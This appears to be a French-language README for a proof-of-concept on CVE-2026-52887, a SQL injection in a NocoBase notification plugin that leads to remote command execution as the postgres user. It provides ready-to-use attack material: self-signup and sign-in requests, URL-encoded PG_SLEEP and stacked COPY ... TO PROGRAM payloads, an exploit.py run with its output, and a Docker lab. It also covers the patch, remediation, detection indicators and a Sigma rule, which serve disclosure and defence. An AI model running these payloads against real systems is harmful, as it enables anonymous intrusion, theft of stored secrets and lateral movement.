
CVE-2026-52887 — Injection SQL NocoBase -> RCE superutilisateur PostgreSQL (filtre myInAppChannels:list, CVSS 10.0). PoC de l'auteur + analyse du code source + lab Docker.
Injection SQL dans l'action myInAppChannels:list du plugin @nocobase/plugin-notification-in-app-message de NocoBase (≤ 2.0.60). Le paramètre de requête filter[latestMsgReceiveTimestamp][$lt] est interpolé directement dans une chaîne SQL brute Sequelize.literal() sans échappement ni liaison. Via le support des instructions empilées du driver PostgreSQL pg, l'injection atteint COPY … TO PROGRAM, et comme le compose par défaut du fournisseur crée le rôle de base de données nocobase en tant que superutilisateur, cela permet l'exécution de commandes shell en tant qu'utilisateur système postgres. Le point de terminaison exige un utilisateur connecté, mais le plugin auth-basic par défaut est livré avec l'auto-inscription activée, de sorte que tout visiteur anonyme peut s'inscrire et y accéder.
packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts,
gestionnaire myInAppChannels:list (2.0.57) :
const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
: null;
filter.latestMsgReceiveTimestamp.$lt provient directement de la requête (filter[latestMsgReceiveTimestamp][$lt]=…) et est concaténé dans un Sequelize.literal() — SQL brut, sans liaison de paramètre ni coercition de type. Un attaquant ferme la comparaison et ajoute du SQL arbitraire.
pg, qui autorise les instructions empilées (… ; …). Le fragment injecté ajoute une seconde instruction.docker-compose.yml par défaut du fournisseur crée le rôle nocobase via la variable POSTGRES_USER de l'image postgres, qui est toujours un superutilisateur.COPY (…) TO PROGRAM '<shell>', ce qui exécute <shell> en tant qu'utilisateur système postgres dans le conteneur de base de données.L'ACL de myInAppChannels est loggedIn, mais le plugin auth-basic par défaut est fourni avec allowSignUp: true. Un attaquant anonyme s'auto-inscrit (POST /api/auth:signUp?authenticator=basic), se connecte pour obtenir un jeton bearer, puis continue — sur une installation par défaut, c'est donc non authentifié en pratique.
defineMyInAppChannels.ts ajoute parseLatestMsgReceiveTimestampLt(), qui force la valeur à passer par Number() (rejetant les entrées non finies / non numériques avec un code 400) et bascule vers une comparaison à paramètre lié :
Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)
$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] self-registered 'lab_operator' via auth-basic signUp
[+] signed in, bearer token acquired
[*] time-based: PG_SLEEP(5)=5.03s control=0.02s
[+] SQL injection confirmed (time-based)
[+] COPY TO PROGRAM sent (HTTP 200) - 'id > /tmp/proof 2>&1' executed as the postgres OS user
$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
Chaîne HTTP brute :
POST /api/auth:signUp?authenticator=basic {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic {"account":"a","password":"P!ssw0rd1"} → {"data":{"token":"…"}}
# time-based oracle (≈5s delay):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer <token>
# stacked-statement RCE:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer <token>
--cmd accepte n'importe quelle commande shell (reverse shell, callback OAST, lecture de lignes de la base via COPY (SELECT …) TO PROGRAM 'cat > /tmp/x', etc.).
Aucun pont Docker sur cet hôte, exécutez donc les deux conteneurs avec le réseau hôte :
docker run -d --name nb-pg --network host \
-e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
-e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
-e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
-e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase auto-installs and serves on http://127.0.0.1:13000
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proof
Limite de la version corrigée (rejet) :
docker run ... nocobase/nocobase:2.0.61 # same steps
# the PG_SLEEP / COPY TO PROGRAM payloads return HTTP 400; a numeric $lt still returns 200
Voir EVIDENCE.txt pour la transcription capturée et ANALYSIS.md pour l'analyse pas à pas au niveau du code source.
CONFIRMÉ VULNÉRABLE sur nocobase/nocobase:2.0.57, vérifié par deux techniques indépendantes :
PG_SLEEP(5) retarde la réponse d'environ 5,0 s tandis qu'une requête identique sans le sleep répond en ~0,03 s sur le même point de terminaison (ce qui exclut un limiteur de débit ou un artefact de nouvelle tentative).uid=999(postgres) gid=999(postgres), la sortie réelle de id(1) exécuté en tant qu'utilisateur système postgres, et non un écho de la charge utile.CORRIGÉ sur nocobase/nocobase:2.0.61 — les deux charges utiles renvoient une HTTP 400 tandis qu'un $lt numérique renvoie toujours 200.
Exécution de code à distance en tant qu'utilisateur système postgres dans le conteneur de base de données : lecture/écriture complète de la base NocoBase, divulgation de tous les secrets stockés et identifiants utilisateur, et point d'appui pour un mouvement latéral. Accessible par tout visiteur anonyme sur une installation par défaut.
COPY … TO PROGRAM).allowSignUp: false) lorsque ce n'est pas nécessaire.Les requêtes myInAppChannels:list dont la valeur filter[latestMsgReceiveTimestamp][$lt] n'est pas un simple nombre, ainsi que les journaux PostgreSQL contenant COPY … TO PROGRAM :
GET /api/myInAppChannels:list with filter[latestMsgReceiveTimestamp][$lt] containing
non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'
Sigma (journal d'accès du serveur web) :
title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
selection:
cs-uri-stem|contains: '/api/myInAppChannels:list'
cs-uri-query|contains:
- 'PG_SLEEP'
- 'TO PROGRAM'
- '$lt]=0)'
- '$lt]=0);'
condition: selection
level: critical
MIT. © Caio Fabrício (BiiTts).
| CVE | CVE-2026-52887 |
| Produit | NocoBase (@nocobase/plugin-notification-in-app-message) |
| Versions affectées | ≤ 2.0.60 (vérifié sur nocobase/nocobase:2.0.57) |
| Corrigé | 2.0.61 |
| Classe | Injection SQL (CWE-89) → exécution de commandes OS |
| CVSS 3.1 | 10.0 CRITIQUE — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (GitHub CNA) |
| Authentification | Non authentifié en pratique — auth-basic par défaut allowSignUp: true |
| Statut | CONFIRMÉ VULNÉRABLE — vérifié de bout en bout sur 2.0.57 |